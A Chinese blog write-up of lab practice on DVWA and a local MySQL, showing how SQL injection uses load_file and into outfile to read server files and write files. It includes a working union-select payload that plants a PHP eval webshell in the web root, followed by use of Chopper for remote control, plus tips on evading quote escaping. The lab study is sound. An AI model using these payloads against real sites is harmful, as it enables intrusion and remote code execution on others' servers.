SQL Injection3(读取和上传文件文件)

前言

前一篇文章在盲注查询资料的时候意外发现了一篇讲利用MySQL来进行读取和上传文件的博客,这里来实际操作一下

读取文件

读取文件主要使用的是load_file文件

查询了下load_file函数的使用条件主要有如下两个

  1. 文件权限:chmod a+x pathtofile

  2. 文件大小: 必须小于max_allowed_packet

ok,先直接在MySQL数据库以root用户尝试一下

通过show VARIABLES like ‘%max_allowed_packet%’;命令查看下max_allowed_packet,

2

默认的是64M… 来测试一下

在MySQL上创建一个flag文件,并调整它的权限设为可读

1

3

select load_file('/var/lib/mysql/flag');

用上面的语句来测试读取flag,结果并没有读出来…

4

查询ing… 发现有一个secure_file_priv参数

secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。

secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。

secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

show global variables like '%secure_file_priv%';

5

可以发现当前数据库的secure_file_priv的默认值为NULL

这时候是不允许导入导出的

这时候来修改这个值,发现这个值是只读的…

6

因为是在docker中使用的mysql所以先装个vim

docker 镜像下安装Vim(这里注意echo后面不要用””,加了引号不行会报错)

现在在my.cnf中增加secure_file_priv=’’

7

重启docker,然后在来查看secure_file_priv的值发现已经修改为空了

8

再来查看我们的flag文件,发现已经没有问题了,显示出了flag文件中的内容

9

这时候来创建一个没有权限的文件,我们就会发现无法访问(没有权限无法访问很正常啊)

10

11

这时候来修改权限调试,发现前面说文件权限:chmod a+x pathtofile是不对的,这里需要的是读权限而不是修改权限,只有修改权限也是无法读取到文件的

其次因为这里使用root创建的文件,而我们用MySQL去读文件的时候是MySQL用户所以不是在文件拥有者那里添加读权限,而是在其它那里添加读权限

12

就如上面所示,添加了这个读权限后就能利用MySQL读取文件了

13

下面到dvwa的靶场尝试一下

这里我们来尝试下获取MySQL的配置文件my.cnf因为这个路径一般不做修改的话都在/etc/mysql/下面

这里登录dvwa的服务器查看下,确实是这样,然后文件所提供的权限也够

14

但结果没有成功…

15

然后我想会不会文件太大max_allowed_packet有限制,于是自己创建了一个文件

16

结果还是不行…

17

那我觉得应该是secure_file_priv的问题了,登录dvwa,修改了my.cnf,添加了secure_file_priv=’’

结果还是没用???还是查不出来???

18

我看网上说主要还是文件权限问题???

但这里已经把所有权限都给了啊(flag给成777试了下也没成功…)

又看了下,这里难道是用户权限不够?

19

我在自己的MySQL环境下面测试了下,前面SQL注入时创建了一个只对test数据库有操作权限的test用户

这里我们可以看到test1用户和root用户去load_file得到的是不同的结果

20

21

上面可以发现test1用户是得不到正确的结果的

这里的dvwa的数据库操作来看,不能访问mysql.user表,说明也是做了权限的设置,所以前面的load_file()都没有成功。。。

22

上图可以看到当前的app用户确实没有权限

后面重新再dvwa后台试着登录mysql,结果它说不知道secure_file_priv变量???

23

看了下数据库版本,是MariaDB10.1.26

24

去官方看了下secure_file_priv也没觉得有问题啊

25

然后我把secure_file_pri=’’删掉

后面登录了dvwa的root账户查看了secure_file_priv,发现是没有问题的啊

33

好吧,现在我还是只能归结为用户权限不够所以无法读取文件…

当然这是我自己做测试得到的结论,目前认为是这样,如果哪里不对还请大佬们多赐教(后面利用root账户提升app用户的权限后发现可以正常读取了,见下面上传文件部分)

MySQL注入load_file常用路径(这是load_file比较常用的文件路径)

上传文件

这里主要是利用mysql导出文件的函数来实现的

select … into outfile

select … into dumpfile

outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

直接类尝试一下,报错权限不够,wtf

26

好吧看了下文件夹的权限,emmmm

27

好吧,不过我们可以看到tmp这个文件夹什么权限都有再来试下

28

这次没有报错了

回到本地打开文件看下,很好成功的生成了文件,打开文件看也发现里面的内容与我们写进去的一致

29

这里要注意的是写入的文件不能是已经存在的文件

30

虽然不抱什么希望,但还是试一下向dvwa上上传文件

31

结果返回了上图中的错误,正常的查询和注入都没问题,结果写文件的时候返回了这个权限登录的问题, emmm…

这和我在dvwa服务器上登录mysql返回的错误一样

32

这是个什么权限问题了,

登录dvwa mysql的root用户,查看一下app的权限

34

可以看到app用户在dvwa数据库权限还是很高的,其它就只有登录权限了

然后用dvwa mysql的root用户直接进行读取文件,和上传文件都是没有问题的

35

36

37

好吧我们来做点邪恶的事…强制提升一下app这位用户的权限(我觉得实际操作中这样应该很困难…)

38

很好现在权限足够高了,我们在重新注入dvwa试下

39

很棒,文件读取已经成功了,再来尝试上传

执行 1' union "test","hahaha" into outfile '/tmp/myfile'# 后,可以看到本地已经有了文件

40

这样上传的文件会多两个admin,因为前面的1把查询出来的结果admin admin也给写入进去了

所以改成' union "test","lalala" intofile '/tmp/myfile1'# 这样就OK了

41

这里为什么要把”test”和”lalala”分开写了,因为这里是union啊要和前面的列数匹配,不然不行(我试了,真的不行,就不截图了…)

我试了下不用绝对路径去写,发现也能上传成功,只是上传路径就很奇怪了(这应该是mysql默认的路径,下面的文件文件夹所有权都是mysql),如果上传webshell的话是无法执行的吧

42

然后找了下正常的网页路径

43

然后尝试下向这里上传文件,发现权限不够…

44

这里的权限是www-data的…为了体验下webshell我们来改权限吧…

45

随便上传了一个myfile,成功

46

浏览器访问也OK

47

现在我们来构造一个webshell来体验下(因为不会 世界上最好的语言 所以直接从别人的博客那里借鉴的,后面有时间再补习下 世界上最好的语言 吧, 看了下其实就是利用HTTP的get和post来传递命令,eval把其当做 世界上最好的语言 来执行)

' union select "<?php @eval($_GET['cmd']); ?>", "myshell" into outfile '/var/www/html/hack.php'#

上传成功

48

我们来利用这个webshell来查看下我们的flag文件

49

结果没有显现出来…作为菜鸡的我蒙蔽了,果然不掌握世界上最好的语言没法混啊…

好的,仔细看了下_GET前面少了一个$,修改hack.php后成功返回了flag

50

然后再上传个小马玩下

51

接下来当然是上菜刀

52

最后成功连上,可以看见文件列表和虚拟终端了,✿✿ヽ(°▽°)ノ✿

好的这次站在上帝视角的上传读取文件成功完成,撒花✿✿ヽ(°▽°)ノ✿

总结

  1. 重要的参数

    secure_file_priv参数很重要,mysql5.7及以后都默认为NULL了,如果不改为空都上传下载都无法正常使用

    其中当参数 secure_file_priv 为空时,对导入导出无限制
    当值为一个指定的目录时,只能向指定的目录导入导出
    当值被设置为NULL时,禁止导入导出功能

    max_allowed_packet 这个参数限制了上传下载文件的大小

  2. 重要的权限

    读取文件的文件要有当前数据库用户的读取权限,才能正常读取

    上传文件的上传路径必须要有数据库用户的写入权限,才能正常上传文件

    数据库分配用户的权限,如上面实践所得dvwa的app用户没有权限可是害苦了我(以前说设置数据库用户权限没什么用的我,再次被打脸)

    文件和文件夹的权限,mysql用户要是没有读写权的话也没法正常读取导入文件

  3. 上传文件不仅要知道服务器的一个绝对路径(上面不带绝对路径的文件虽然上传成功,但却无法访问,因为那个路径不可访问),而且那个路径下mysql要有权限写入文件

  4. 作为网站安全的角度出发,secure_file_priv参数很重要,如果需要导入导出也要设好路径,特别是mysql5.7及以后都默认为NULL安全考虑的就很好了,其次数据库用户权限的设置真的很重要,再其次文件和文件夹的权限也要给的合适

Tips

  1. 在字符型注入要注意引号,可能是单引号也可能是双引号,所以字符注入的时候要分清是双引号还是单引号,不然会注入失败

  2. 在盲注的时候通过基于布尔或者基于时间的方法获取了字段的数量,在SQL注入的时候因为直接回显所以没有获取字段数量的操作,但也可以利用order by来获取字段数量

    比如order by 1参照第一列字段进行排序,正常返回就说明字段数量大于等于1,然后可以order by 10 如果不可以,我们就可以采取二分的方法,尝试order by 5

  3. secure_file_priv查询了下从MySQL5.7开始默认是NULL,不能直接读取文件了,需要修改权限了

  4. 因为php中转义函数的原因,文件名的’’会被转义,可以用十六进制或者char(路径ascii)方法

参考

  1. web安全之DVWAのSQL注入(六)/)
  2. mysql5.7导出数据提示–secure-file-priv选项问题的解决方法

  3. mysql load_file在数据库注入中使用

  4. sql注入–高权限,load_file读写文件
  5. Mysql注入中的outfile、dumpfile、load_file函数详解

路漫漫其修远兮,吾将上下而求索